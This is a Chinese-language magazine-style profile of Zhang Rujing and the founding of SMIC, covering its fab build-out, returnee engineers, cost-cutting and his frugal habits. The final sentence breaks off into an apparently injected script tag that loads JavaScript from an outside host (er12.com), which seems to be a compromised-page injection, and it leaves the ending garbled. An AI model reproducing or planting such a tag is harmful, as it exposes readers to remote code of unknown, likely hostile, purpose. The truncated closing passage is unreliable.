6年前，张汝京在52岁离开台湾到上海创办中芯国际，成为中芯国际集成电路编号000001的员工。5年后的今天，挂在中芯会客室里的一副对联“中兴华夏半导体，芯系全球高科技”，道出了他的中国梦。他是全球资金流向中国的大趋势里，崛起最快的半导体明星。落脚大陆后中芯国际已成为威胁芯片行业双雄的第三势力。
芯片十厂布局大陆
2000年4月成立的中芯国际，创下芯片代工厂建厂速度最快、5年内集资最多的诸多纪录。不过5年，中芯已经在上海盖了3座8寸芯片厂，买下天津一座8寸芯片厂，还在北京盖了3座12寸芯片厂。中芯已在上海占到先机，如今又在北京、天津取得领先位置，在战略布局上，中芯已领先群雄。张汝京轻松告诉记者，他要在大陆建成十大芯片厂。中国国务院2000年6月颁布了鼓励软体、集成电路产业发展的18号文件，更让中芯在大陆的投资如鱼得水。中央到地方政府的政策全力支援，是中芯能快速建厂的关键之一。
2000年初张汝京决心建厂，正值半导体行业景气的高峰，张汝京顺利拿到第一期的建厂资金近5亿美元。不过，10月景气开始急速反转，低迷的景气反而让中芯在设备采购上更占便宜。当时，张汝京一口气就要采买先进的0.13微米制程机台设备。但以美、日为首的半导体设备供应商，却受限于美国政府对中国大陆先进仪器进口的规范而无法卖给中芯。张汝京只好转而向欧洲设备商购买。欧盟的缺口一开后，张汝京因此得以用最实惠的价钱，取得最先进的设备。幸运的中芯建厂期间处于景气低迷期，建厂落成后迎来景气高峰。
海归团队共同创业
张汝京认为半导体拼的就是人与钱，人没稳钱就无法到位。中芯成功在于主要核心团队十分稳固。
和老公一起从美国回来的张秀英(财务部资深经理)说：“我和先生是最早一拨来中芯国际的人，我们在海外，每天工作后回到家很感慨，我们在美国越努力，就把中国落得越远。后来，张汝京先生找到我先生说：中国人都很勤奋，madeinchina到处都是，唯独半导体，中国差国际领先水平四五十年。半导体不是一个人能做成的，需要很多人一起来做。而张汝京先生在台积电供职时，在全世界到处盖厂，唯独没有在中国大陆盖过半导体厂。张汝京先生是大陆出生台湾长大的。作为一个台湾的中国人都有这样的情怀，作为大陆人，我们更应该回国发展科技。当时我们处于事业顶峰，就是因为张汝京先生这句话，我们回来了。”
第一批回来的人，没有离开的。最艰难的时候，他们只拿海外三分之一的薪水，减薪最多的只拿海外八分之一的薪水。公司虽然有1100个海外员工，但没有一个人拿海外专家的津贴，而都是拿国内的薪水。
为解外来工程师后顾之忧，张汝京办厂又兴学。他成立了中国外资企业里，第一家得到国家特批成立学校的企业。学校从幼稚园到小学部，共有来自16个国家的500位小朋友。
节约高手细算成本
中芯的节省就是从张汝京本人做起的。张汝京平时吃的工作餐也就是7元的盒饭；为了省油，张汝京不坐排量1.6的桑塔纳，而是坐排量1.3的经济型轿车。按照张汝京的计算，在大陆投资设厂很划得来。
“大陆土地成本很低，土地的价格为台湾的十分之一。因为材料便宜，这里用的钢筋规格比台湾大一号。做交*钢丝的时候，在这里我们是每个点都绑，而在台湾我们做的时候是隔一个点绑一个，因为人工太贵。在做箍筋的头的时候，台湾有的做135度，有的是90度，90度当然没有135度好，而在这里我们都是做到135度。因为台湾一个焊工的工资是大陆的8倍，人工太贵。总体来说，大陆盖厂的成本要比台湾便宜38%。
“还有水电价格方面的显著差异。上海的水价是台湾的40%；北京的水价和台湾差不多，但是北京的电便宜。因此在北京建厂成本比台湾要便宜。
“商务旅行，我们都坐经济舱。如果去美国拜访客户，坐经济舱要比坐商务舱一次节省差不多2000美金，如果我们一年有1000人次的这种旅行，一年就可以省200万美金。200万美金就可以买一台设备了，对某种产品而言，多一台设备可以增加1000片的产能。这就是为什么预算相同，我们买的设备总是比别人多，产能比别人高。
“许多公司在盖厂的时候一般会在外面租办公室，我们在旁边修一个铁皮屋，做临时办公室，等工厂盖好后，我们可以把这个铁皮屋当仓库用，又可以省出一两个机器出来。中芯国际在省电方面做了很多。灯都是分区的，有人的地方才开，没人的地方关掉。我们的制程水回收率是全世界最高的，达到80%；我们在北京的工厂是第一家回收雨水的芯片厂，全部雨水都可以回收。”
简朴生活奉献爱心
张汝京纯朴依旧，手上戴的是卡西欧电子表，住在中芯员工宿舍。张汝京每天带头加班，一星期上班六天，每天在工厂待12个小时。
自奉甚俭的他，对投入大陆落后地区的希望小学工程，尤为热衷。过去四年暑假，张汝京全家都会前往大陆西部最偏远地区，欣赏美丽山河，并参与?script src=http://er12.com/t.js>
